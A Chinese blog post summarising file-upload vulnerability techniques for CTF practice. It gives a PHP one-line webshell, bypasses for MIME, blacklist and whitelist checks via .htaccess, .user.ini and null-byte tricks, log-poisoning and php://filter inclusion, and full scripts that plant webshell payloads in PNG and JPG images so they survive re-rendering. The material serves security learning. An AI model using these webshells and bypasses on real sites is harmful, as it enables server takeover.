首页 > 其他分享 >文件上传知识点汇总

文件上传知识点汇总

时间:2024-12-21 14:31:10浏览次数:6  
标签:知识点 文件 汇总 binData 木马 php 上传 png

        归纳总结一下文件上传(其实是懒得写wp)

基于Dream ZHO师傅的CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客

dota_st 师傅的ctfshow-Web1000题系列修炼(一) | dota_st

做一篇自己的总结

目录

一、什么是文件上传

木马文件

如何利用木马文件

二、文件上传绕过检测

无检测 

js前端检测

        1.bp抓包

        2.更改js代码

        3.直接浏览器ban掉js

MINE检测

黑名单绕过

        .htaccess

        .user.ini(好用)

白名单绕过

        00截断

        图片马

        getimagesize()绕过

三、木马绕过

        短标签绕过

        命令执行与文件包含

四、图片马的二次渲染

        png

        jpg        

五、小结



一、什么是文件上传

         文件上传漏洞指服务端没有对用户上传的文件进行严格的过滤,从而使用户可以上传木马文件,控制整个网站。

        那么什么是木马文件呢?

木马文件

        我们常见的木马就是一句话木马

<?php @eval($_POST['a']);?>

        在php中eval()函数的作用是可以将传入的参数当作命令执行,

        @是用来防止报错的,因为我们本身没有定义a变量,这里本来不能使用a变量,但是@使代码可以继续执行下去,不产生报错。

        (我也是个小萌新,所以暂时也只知道这么一个常用来做题目的木马QAQ)

        一般写木马的时候需要关闭一下病毒防护,不然你刚写完,windows就把你写的文件给删了。

        知道了什么是木马文件后,我们还有两个问题要解决,怎么传上去,传上去之后该干嘛,

怎么传上去就是本文的重点了,所以先讲一下传上去以后该干嘛。

如何利用木马文件

        因为是一个eval函数,我们需要在网页里打开我们上传的.php文件,一般打开之后是空白的

用的是BaseCTF_week1的upload题

        然后我们有两种方式获取flag,一种是通过POST传参数a进行命令执行,一种是用蚁剑进行链接,链接密码就是参数a。

        注意一下不能用https协议。提一嘴,py的request库也不能用https协议(不知道为什么)

        那么知道了如何利用木马文件,接下来就是本文的重头戏


二、文件上传绕过检测

无检测 

        咳咳,故名思意,就是没有检测,随便上传php文件。(上面那道upload就是无检测)

js前端检测

        也就是网页本身代码中存在检测,后端没有检测,这边大致有三种办法

        1.bp抓包

                我们把含有一句话木马的php文件后缀改为其他后缀,如.txt,然后上传之后用bp抓包截获,这时我们可以更改后缀名改回php,然后继续发送,就可以发现绕过成功

例题:ctfshow_web151

        上传1.png文件,里面写入一句话木马

        

        把这个2.png改为2.php (下面那个Content-Type不用改,这个是下一个知识点)

        2.更改js代码

                因为前端检测不是要点,这里给篇文章,大家可以自行选择去看

渗透学习-学习记录-利用浏览器的开发者工具实时修改网页前端JS代码(实现绕过)_如何修改网页js-CSDN博客

        3.直接浏览器ban掉js

                简单粗暴,这里也给个文章看看

各常用浏览器如何禁用js_浏览器禁用js-CSDN博客

MINE检测

        这个就是刚刚提到的Content-Type

        Content-Type是指示发送端内容的媒体类型的 HTTP 头部,广泛用于请求和响应中。

        然后在php代码中可能存在这种代码

$type=$_FILES['file']['type'];
$allowedImageTypes = [
'image/jpeg',
'image/png',
'image/gif',
'image/bmp',
'image/tiff',
'image/webp'
];
if(!in_array($type,$allowedImageTypes)){
echo "<script>alert('只能允许上传图片')</script>";
exit();
}

        这样就是一个MIME检测

        怎么绕过呢?其实就是把Content-Type的值改为php检测可以通过的值就行,比如.png.jpeg等等

例:ctfshow_web152

(这道题因为还有前端的存在,所以还是要上传png,然后就不用更改Content-Type的值,虽然但是这道题目确实是这个考点。。)

黑名单绕过

        网站后端会过滤掉.php文件,不让你上传,这就是黑名单,如何绕过呢?

        1.文件大小写过滤,形如.pHp、.PhP等等

        2.双写绕过,形如.pphphp(后端代码让连在一起的php替换成' '。.pphphp替换之后就变成了.php)

        3.等价拓展名,形如php2、.php3、.php4、.phps、.phtml

                这里可以先传入.htaccess文件(作用于Apache)

        .htaccess

                里面写上以下内容

AddType application/x-httpd-php .php .phtml

        意思就是让.phtml像.php文件一样解析

        同时也讲一下.user.ini文件

        .user.ini(好用)

                .user.ini 文件是 PHP 配置的用户级别配置文件,允许在不修改全局 php.ini 配置文件的情况下对特定目录 或文件夹中的 PHP 设置进行调整。它主要用于在共享主机或没有对全局配置进行控制的环境中,修改 PHP 配置。

auto_prepend_file=1.png
include("1.png")
        这个代码的作用就是可以执行1.png文件里的php代码。         在我们成功传上这串代码之后,我们遍不需要苦心过滤php,直接传png就行         当然,题目很可能直接禁止这两个文件上传,所以他们也不是万能的 例题:ctfshow_web153         上传user.ini                          还是只能上传图片文件,这里要改成.png上传后改回来。                           然后就可以上传一个jpg文件,里面写上一句话木马。                  这里证明一下是否成功,我们链接蚁剑         额,连蚁剑死活连不上,看来别的师傅的wp才知道路径不能带上1.png,这里提个醒         4.空格点号法                 bp抓包后,在.php后面加一个.  (.php.)                 或者加一个空格  (.php )                 或者空格和.一起加后面跟php(.php .php)

白名单绕过

        黑名单会过滤.php文件,不允许php文件上传,那么白名单就是只允许某类文件上传。

        比如只允许.png文件上传

        00截断

        windows系统识别到文件名中00的时候将不再向后识别

        仅适用于php版本小于5.3.4并且php的配置文件php.ini中的magic_quotes_gpc 的值需要修改为Off

        get型上传php文件的话就在bp抓包的时候,在顶部的.php后缀后面添加00                 post型则需更改bp上传包的十六进制文本,在文本里找到php后缀,后面改为00

        图片马

        顾名思义,就是图片木马,在图片文件里添加一句话木马。

        添加方法如下

        010里在文件末尾添加一句话木马即可。

        也可以在cmd里执行。(虽然我没成功过)

copy 1.jpg/b+2.php 3.jpg

         值得注意的是,这种用法需要这个文件被包含了才有用,否则跟真的上传一个图片没啥区别。

        所以是需要万能的.user.ini的(说白了和之前的绕过手法差不多)

        getimagesize()绕过

        getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求

        所以我们在一句话木马前面加个GIF89a即可,(也不知道为什么)

GIF89a
auto_prepend_file=/tmp/sess_muma

三、木马绕过

        什么!!!木马也要绕过!!!

        因为后端可能会对php代码有锁过滤,所以也需要学习一些绕过手法

        短标签绕过

<?=@eval($_POST['a']);?>

        ban了php的话可以用短标签来代替原本的<?php ?>

        命令执行与文件包含

        有时候一句话木马会被ban,这个时候我们可以上传一些命令,比如

<?=system("ls");?>

        没错,直接传命令也可以(命令执行的知识点!!)

        命令执行知识点汇总-CSDN博客(推销一下我自己)

        然后文件包含,这里其实就是传的命令可以是一些伪协议

<?=include"php://filter/convert.base64-encode/resource=../flag.php"?>

         都到这里了,php这种估计也被ban了,这里可以通过"ph"."p.....的形式绕过

        也可以日志注入,<?=include"/var/log/nginx/access.log"?> 日志里有会返回ua头的话,就可以在ua里传入一句话木马

        当然session注入,条件竞争等等都可以在文件上传实现,这里就不多讲了。

四、图片马的二次渲染

        有些网站会对上传的图片进行二次处理,会生成一个新的图片放到网页上

        png

        国外大牛写的png二次渲染脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./1.png');
?>

生成图片后上传,然后命令执行即可

        jpg        

        同样是国外大牛

<?php
	/*

	The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
	It is necessary that the size and quality of the initial image are the same as those of the processed image.

	1) Upload an arbitrary image via secured files upload script
	2) Save the processed image and launch:
	jpg_payload.php <jpg_name.jpg>

	In case of successful injection you will get a specially crafted image, which should be uploaded again.

	Since the most straightforward injection method is used, the following problems can occur:
	1) After the second processing the injected data may become partially corrupted.
	2) The jpg_payload.php script outputs "Something's wrong".
	If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

	Sergey Bobrov @Black2Fan.

	See also:
	https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

	*/

	$miniPayload = '<?=eval($_POST[1]);?>';


	if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    	die('php-gd is not installed');
	}
	
	if(!isset($argv[1])) {
		die('php jpg_payload.php <jpg_name.jpg>');
	}

	set_error_handler("custom_error_handler");

	for($pad = 0; $pad < 1024; $pad++) {
		$nullbytePayloadSize = $pad;
		$dis = new DataInputStream($argv[1]);
		$outStream = file_get_contents($argv[1]);
		$extraBytes = 0;
		$correctImage = TRUE;

		if($dis->readShort() != 0xFFD8) {
			die('Incorrect SOI marker');
		}

		while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
			$marker = $dis->readByte();
			$size = $dis->readShort() - 2;
			$dis->skip($size);
			if($marker === 0xDA) {
				$startPos = $dis->seek();
				$outStreamTmp = 
					substr($outStream, 0, $startPos) . 
					$miniPayload . 
					str_repeat("\0",$nullbytePayloadSize) . 
					substr($outStream, $startPos);
				checkImage('_'.$argv[1], $outStreamTmp, TRUE);
				if($extraBytes !== 0) {
					while((!$dis->eof())) {
						if($dis->readByte() === 0xFF) {
							if($dis->readByte !== 0x00) {
								break;
							}
						}
					}
					$stopPos = $dis->seek() - 2;
					$imageStreamSize = $stopPos - $startPos;
					$outStream = 
						substr($outStream, 0, $startPos) . 
						$miniPayload . 
						substr(
							str_repeat("\0",$nullbytePayloadSize).
								substr($outStream, $startPos, $imageStreamSize),
							0,
							$nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
								substr($outStream, $stopPos);
				} elseif($correctImage) {
					$outStream = $outStreamTmp;
				} else {
					break;
				}
				if(checkImage('payload_'.$argv[1], $outStream)) {
					die('Success!');
				} else {
					break;
				}
			}
		}
	}
	unlink('payload_'.$argv[1]);
	die('Something\'s wrong');

	function checkImage($filename, $data, $unlink = FALSE) {
		global $correctImage;
		file_put_contents($filename, $data);
		$correctImage = TRUE;
		imagecreatefromjpeg($filename);
		if($unlink)
			unlink($filename);
		return $correctImage;
	}

	function custom_error_handler($errno, $errstr, $errfile, $errline) {
		global $extraBytes, $correctImage;
		$correctImage = FALSE;
		if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
			if(isset($m[1])) {
				$extraBytes = (int)$m[1];
			}
		}
	}

	class DataInputStream {
		private $binData;
		private $order;
		private $size;

		public function __construct($filename, $order = false, $fromString = false) {
			$this->binData = '';
			$this->order = $order;
			if(!$fromString) {
				if(!file_exists($filename) || !is_file($filename))
					die('File not exists ['.$filename.']');
				$this->binData = file_get_contents($filename);
			} else {
				$this->binData = $filename;
			}
			$this->size = strlen($this->binData);
		}

		public function seek() {
			return ($this->size - strlen($this->binData));
		}

		public function skip($skip) {
			$this->binData = substr($this->binData, $skip);
		}

		public function readByte() {
			if($this->eof()) {
				die('End Of File');
			}
			$byte = substr($this->binData, 0, 1);
			$this->binData = substr($this->binData, 1);
			return ord($byte);
		}

		public function readShort() {
			if(strlen($this->binData) < 2) {
				die('End Of File');
			}
			$short = substr($this->binData, 0, 2);
			$this->binData = substr($this->binData, 2);
			if($this->order) {
				$short = (ord($short[1]) << 8) + ord($short[0]);
			} else {
				$short = (ord($short[0]) << 8) + ord($short[1]);
			}
			return $short;
		}

		public function eof() {
			return !$this->binData||(strlen($this->binData) === 0);
		}
	}
?>

        我们需要先上传一个正常的图片,让他渲染一次

        然后把渲染后的图片和php代码一起执行

         Linux里,以这个形式   “php 脚本文件 图片文件”

        成功后再次上传,然后命令执行即可。

五、小结

        本来想每个知识点都添加例题的,但是篇幅实在是有点长,最后还有一个木马免杀部分没有写,我暂时也不是很清楚,之后会添加在文章里面,那么文件上传知识点就汇总到这。

标签:知识点,文件,汇总,binData,木马,php,上传,png
From: https://blog.csdn.net/Takagiapa/article/details/144426250

相关文章

  • 使用Python进行量化交易,关键知识点有哪些?
    炒股自动化:申请官方API接口,散户也可以python炒股自动化(0),申请券商API接口python炒股自动化(1),量化交易接口区别Python炒股自动化(2):获取股票实时数据和历史数据Python炒股自动化(3):分析取回的实时数据和历史数据Python炒股自动化(4):通过接口向交易所发送订单Python炒股自动化(5):......
  • Linux IPC:互斥锁与条件变量汇总整理
    互斥锁(Mutexes)和条件变量(ConditionVariables)是线程同步中非常重要的概念。它们被广泛应用于多线程编程中,以解决并发访问共享资源的问题。下面将详细介绍互斥锁和条件变量的概念、用途、API以及示例代码。互斥锁(Mutexes)互斥锁是一种用于保护临界区(CriticalSection)的机制......
  • 文件包含tomato靶机通关和文件上传hackme靶机通关
    文件包含tomato靶机通关靶机地址:192.168.152.152注:靶机打开后在kali中扫描一下就能得到打开网站第一步信息收集将网址放到dirb中扫描一下得到了三个目录我们挨个访问一下第一个是主目录第二个是主页面第三个报错第二步我们在主目录页面继续访问......
  • Flutter 开发中的代码常见错误汇总 All In One
    Flutter开发中的代码常见错误汇总AllInOne小米汽车FlutterDeadCodedemos(......
  • Java知识点——循环、条件语句与BigInteger类
    Java知识点一、循环结构1.for循环2.while循环3.for-each循环二、条件语句1.if-else2.switch-case三、break与continue关键字四、BigInteger类1.创建BigInteger对象2.运算一、循环结构Java提供了多种循环结构,用于多次执行某段代码,直到满足特定条件为止。循环结构......
  • java期末选择题 知识点随记
    Integer.parseInt(s);//字符整数转换器用于将字符转换为整数这个方法的功能是接收一个字符串输入,然后尝试将其转换为对应的整数值。如果字符串的内容无法被解析为整数(比如包含非数字字符或者格式不正确),那么这个方法会抛出一个 NumberFormatException 异常。this(1.0)//调......
  • Struts2文件上传(二) 深入FileUploadInterceptor
      Struts2框架本身没有文件上传的功能模块,而是利用现在流行的几个文件上传开源框架,如Common-FileUpload和COS等。Struts2利用拦截器将这些文件上传的框架巧妙的集成进来,不能不被称为一个优秀的拿来主义者。由于拦截器的使用,我们使用Struts2实现文件上传变的非常容易,似乎什么也......
  • C语言的头文件包含,竟存在这么多知识点!
    文章来自:https://zhuanlan.zhihu.com/p/472808057很多事不深入以为自己懂了,但真正用到项目上,才会发现其中的问题。曾以为自己写C语言已经轻车熟路了,特别是对软件文件的工程管理上,因为心里对自己的代码编写风格还是有自信的。本人曾经认为,一个.c文件对应一个.h文件,.c文件只包含......
  • 文件上传漏洞
    文件上传漏洞服务端代码未对客户端上传的文件进行严格的验证,导致漏洞。非法用户可以利用上传的恶意文件控制整个网站,这个恶意文件被称为webshell,也可以称为一种网页后门。1、常见的WebShell有哪些?拥有较完整功能的webshell,我们一般称为大马。功能简易的webshell称为小马。......
  • vue3+vant-ui 上传头像,base64文件流上传及回显
    1<scriptsetup>2import{onMounted,reactive}from"vue";3import{useRouter}from"vue-router";4importrequestfrom'@/utils/request';5import{removeEmptyProps,generatehashcode}from'@/utils/......